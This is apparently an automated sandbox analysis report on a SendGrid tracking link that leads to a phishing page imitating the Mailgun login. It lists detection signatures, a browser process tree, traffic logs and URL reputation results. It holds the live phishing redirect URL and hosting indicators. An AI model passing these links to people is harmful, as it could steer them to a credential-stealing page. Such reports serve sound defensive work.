Edit tour

Windows Analysis Report
https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M

Overview

General Information

Sample URL:	https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr5
Analysis ID:	1466885
Infos:

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Yara detected HtmlPhish45

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

Form action URLs do not match main URL

Found iframes

HTML body contains low number of good links

HTML title does not match URL

Invalid 'forgot password' link found

Stores files to the Windows start menu directory

Suspicious form URL found

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3628 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2504 --field-trial-handle=2468,i,8799287499187348250,9871557580759045562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M-2BiGwIhw5kRyphke6a8RYyV0rtdDONsX7lNk6Cr796v-2FIJZ8nzBJ39o6b-2FDySakEM-2B9nvScrgUWzDogJp7LxfPQ-3D-3D" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_159	JoeSecurity_HtmlPhish_45	Yara detected HtmlPhish_45	Joe Security

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1720010300022&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencache-control: private, max-age=600content-type: application/jsonvary: Accept-Encodingcontent-length: 28date: Wed, 03 Jul 2024 12:38:44 GMTx-envoy-response-flags: -server: Clearbitstrict-transport-security: max-age=63072000; includeSubDomains; preloadx-content-type-options: nosniffconnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: application/javascript;charset=utf-8Content-Length: 82Connection: closecache-control: private, max-age=600vary: Accept-Encodingdate: Wed, 03 Jul 2024 12:38:44 GMTx-envoy-response-flags: -server: Clearbitstrict-transport-security: max-age=63072000; includeSubDomains; preloadx-content-type-options: nosniffX-Cache: Error from cloudfrontVia: 1.1 92f3f87cb514c53ec6a2ae134f3e13a2.cloudfront.net (CloudFront)X-Amz-Cf-Pop: MXP64-C3X-Amz-Cf-Id: c7M0C_at0ws6as_Kk9iWyZ3GsqBPWrcjZ2Q313EbrT77e3si1IjTWQ==
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencache-control: private, max-age=600content-type: application/jsonvary: Accept-Encodingcontent-length: 28date: Wed, 03 Jul 2024 12:38:44 GMTx-envoy-response-flags: -server: Clearbitstrict-transport-security: max-age=63072000; includeSubDomains; preloadx-content-type-options: nosniffconnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: application/javascript;charset=utf-8date: Wed, 03 Jul 2024 12:38:44 GMTcontent-length: 0x-envoy-response-flags: -server: Clearbitstrict-transport-security: max-age=63072000; includeSubDomains; preloadx-content-type-options: nosniffconnection: close

Source: chromecache_167.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_166.2.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_145.2.dr, chromecache_167.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_145.2.dr	String found in binary or memory: https://github.com/krux/postscribe/blob/master/LICENSE.
Source: chromecache_145.2.dr	String found in binary or memory: https://google.com
Source: chromecache_145.2.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_145.2.dr	String found in binary or memory: https://p.teads.tv/teads-fellow.js
Source: chromecache_167.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_145.2.dr, chromecache_167.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_145.2.dr	String found in binary or memory: https://px.ads.linkedin.com/collect?
Source: chromecache_145.2.dr	String found in binary or memory: https://snap.licdn.com/li.lms-analytics/insight.min.js
Source: chromecache_145.2.dr	String found in binary or memory: https://static.ads-twitter.com/uwt.js
Source: chromecache_167.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_166.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: chromecache_166.2.dr	String found in binary or memory: https://tagassistant.google.com/
Source: chromecache_145.2.dr, chromecache_167.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_166.2.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_166.2.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_166.2.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_167.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_166.2.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_170.2.dr, chromecache_157.2.dr	String found in binary or memory: https://www.google.com/pagead/1p-user-list/1005952947/?random
Source: chromecache_145.2.dr, chromecache_167.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_167.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_145.2.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_166.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_167.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_145.2.dr	String found in binary or memory: https://www.redditstatic.com/ads/pixel.js
Source: chromecache_145.2.dr, chromecache_167.2.dr	String found in binary or memory: https://www.youtube.com/iframe_api

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.5:49730 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@23/61@67/24

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2504 --field-trial-handle=2468,i,8799287499187348250,9871557580759045562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M-2BiGwIhw5kRyphke6a8RYyV0rtdDONsX7lNk6Cr796v-2FIJZ8nzBJ39o6b-2FDySakEM-2B9nvScrgUWzDogJp7LxfPQ-3D-3D"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2504 --field-trial-handle=2468,i,8799287499187348250,9871557580759045562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M-2BiGwIhw5kRyphke6a8RYyV0rtdDONsX7lNk6Cr796v-2FIJZ8nzBJ39o6b-2FDySakEM-2B9nvScrgUWzDogJp7LxfPQ-3D-3D	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://stats.g.doubleclick.net/g/collect	0%	URL Reputation	safe
https://www.redditstatic.com/ads/pixel.js	0%	URL Reputation	safe
https://ampcid.google.com/v1/publisher:getClientId	0%	URL Reputation	safe
https://px.ads.linkedin.com/collect?	0%	URL Reputation	safe
https://www.youtube.com/iframe_api	0%	URL Reputation	safe
https://connect.facebook.net/en_US/fbevents.js	0%	URL Reputation	safe
https://stats.g.doubleclick.net/j/collect	0%	URL Reputation	safe
https://p.teads.tv/teads-fellow.js	0%	Avira URL Cloud	safe
https://tagassistant.google.com/	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe
https://www.facebook.com/tr/?id=541164370529087&ev=PageView&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325963&sw=1280&sh=1024&v=2.9.160&r=stable&ec=0&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=GET	0%	Avira URL Cloud	safe
https://snap.licdn.com/li.lms-analytics/insight.min.js	0%	URL Reputation	safe
https://td.doubleclick.net	0%	URL Reputation	safe
https://www.merchant-center-analytics.goog	0%	URL Reputation	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://get.sinchemail.com/pr/js	0%	Avira URL Cloud	safe
https://x.clearbitjs.com/v1/pk_54258638e2140e223e87c6c868ec9a93/forms.js?page_path=%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html	0%	Avira URL Cloud	safe
https://cdn.rudderlabs.com/v1.1/js-integrations/GoogleTagManager.min.js	0%	Avira URL Cloud	safe
https://analytics.twitter.com/1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=939cc2b0-a976-4b0b-a894-1b98e3298bf7&integration=gtm&p_id=Twitter&p_user_id=0&pl_id=eeb64410-e513-4069-a922-41bb6f75921e&tw_document_href=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&tw_iframe_status=0&txn_id=o57gg&type=javascript&version=2.3.29	0%	Avira URL Cloud	safe
https://login.mailgun.com/login/static/style.css?v=1.0.0	0%	Avira URL Cloud	safe
https://github.com/krux/postscribe/blob/master/LICENSE.	0%	Avira URL Cloud	safe
https://www.facebook.com/tr/?redirect=0&rqm=GET&coo=false&it=1720010324745&cdl=API_unavailable&ler=empty&fbp=fb.1.1720010325961.1187528993&o=4126&ec=2&r=stable&v=2.9.160&sh=1024&sw=1280&ts=1720010327099&if=false&rl=&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&ev=Scroll_50&id=541164370529087	0%	Avira URL Cloud	safe
https://login.mailgun.com/login/static/roboto-v27-latin-regular.woff	0%	Avira URL Cloud	safe
https://t.co/1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=939cc2b0-a976-4b0b-a894-1b98e3298bf7&integration=gtm&p_id=Twitter&p_user_id=0&pl_id=eeb64410-e513-4069-a922-41bb6f75921e&tw_document_href=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&tw_iframe_status=0&txn_id=o57gg&type=javascript&version=2.3.29	0%	Avira URL Cloud	safe
https://login.mailgun.com/login/static/mailgun-login-leftrail.png	0%	Avira URL Cloud	safe
